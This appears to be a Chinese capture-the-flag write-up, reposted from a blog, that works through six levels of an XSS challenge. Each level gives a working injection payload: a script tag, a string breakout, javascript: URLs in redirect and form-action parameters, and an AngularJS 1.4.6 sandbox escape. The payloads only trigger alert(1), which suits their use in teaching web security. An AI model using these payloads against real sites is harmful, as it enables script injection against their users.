[第二章 web进阶]XSS闯关

level1

?username=<script>alert(1)</script>

在这里插入图片描述
level2

查看源码
在这里插入图片描述
我们可以看到username被escape函数编码了,基本上就很难绕过。因此我们从username本身想办法。可以这样构造:

?username=';alert(1);//

在这里插入图片描述
在这里插入图片描述
这样username就是这样:
var username = ‘’;alert(1);//’;
成功执行了alert(1)。

level3

输入上一关的payload
题目源码,这次过滤了单引号
在这里插入图片描述
-那我就输两个单引号,然后就成功了
在这里插入图片描述

?username='';alert(1);//

level4

在这里插入图片描述
在这里插入图片描述
伪链接
javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
代码中接收jumpUrl作为跳转url,所以,

/level4?jumpUrl=javascript:alert(1)

等待10秒后即可完成破解

level5

在这里插入图片描述
限制1

扫描二维码关注公众号,回复: 12717614 查看本文章
if(getQueryVariable('autosubmit') !== false){
    
    
	......
}

解决限制1,给autosubm传个值
autosubmit=1

限制2

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');

解决限制2,同样是传值,只不过是传我们的注入语句
完整payload

/level5?autosubmit=1&action=javascript:alert(1)

level6

输入{ {3*3}}输出9

在这里插入图片描述
发现打印出了9,印证了是模板XSS。
我们看一下这个环境用的是哪个模板,发现是AngularJS:
在这里插入图片描述
首先参考下面这个网页:
AngularJS客户端模板注入(XSS)
看完后就是模板注入XSS有了了解,不过由于我们的Angular版本是1.4.6,存在沙箱,因此要去搜索这个版本的Angular的沙箱逃逸的方法:AngularJS Sandbox Bypasses
从中得知的逃逸的办法:

?username={
    
    {
    
    'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/114378503